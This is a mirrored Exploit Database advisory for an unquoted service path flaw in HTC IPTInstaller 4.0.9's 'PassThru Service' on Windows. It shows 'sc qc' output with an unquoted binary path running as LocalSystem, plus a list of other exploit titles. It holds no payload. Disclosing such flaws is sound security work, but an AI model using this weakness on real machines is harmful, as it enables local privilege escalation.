IPTInstaller 4.0.9 – ‘PassThru Service’ Unquoted Service Path

Exploit Database
14 阅读

作者： SamAlucard

日期： 2020-11-09
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/49006/

#Exploit Title: IPTInstaller 4.0.9 - 'PassThru Service' Unquoted Service Path
#Exploit Author : SamAlucard
#Exploit Date: 2020-11-08
#Vendor : HTC
#Version : IPTInstaller 4.0.9
#Vendor Homepage :https://www.htc.com/latam/
#Tested on OS: Windows 7 Pro

#Analyze PoC :
==============

C:\Users\DSAZ230>sc qc "PassThru Service"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: PassThru Service
TIPO : 10
[image: PassThruserv.jpg]
 WIN32_OWN_PROCESS
TIPO_INICIO: 2 AUTO_START
CONTROL_ERROR: 1 NORMAL
NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\HTC\Internet
Pass-Through\PassThruSvr.exe
GRUPO_ORDEN_CARGA:
ETIQUETA : 0
NOMBRE_MOSTRAR : Internet Pass-Through Service
DEPENDENCIAS :
NOMBRE_INICIO_SERVICIO: LocalSystem

last Exploits
IPTInstaller 4.0.9 – ‘PassThru Service’ Unquoted Service Path的更多信息

AudioCoder 0.8.18 – Local Buffer Overflow (SEH)：
DirectAdmin 1.33.6 – Symlink Security Bypass：
KioWare Server Version 4.9.6 – Weak Folder Permissions Privilege Escalation：
Adobe Flash Player – ‘newfunction’ Invalid Pointer Use (Metasploit) (1)：
Mac OS X – libxpc MITM Privilege Escalation (Metasploit)：
Yahoo Player 1.0 – ‘.m3u’ / ‘.pls’ / ‘.ypl’ Local Buffer Overflow (SEH)：
NCH Express Invoice – Clear Text Password Storage and Account Takeover：
Allwinner 3.4 Legacy Kernel – Local Privilege Escalation (Metasploit)：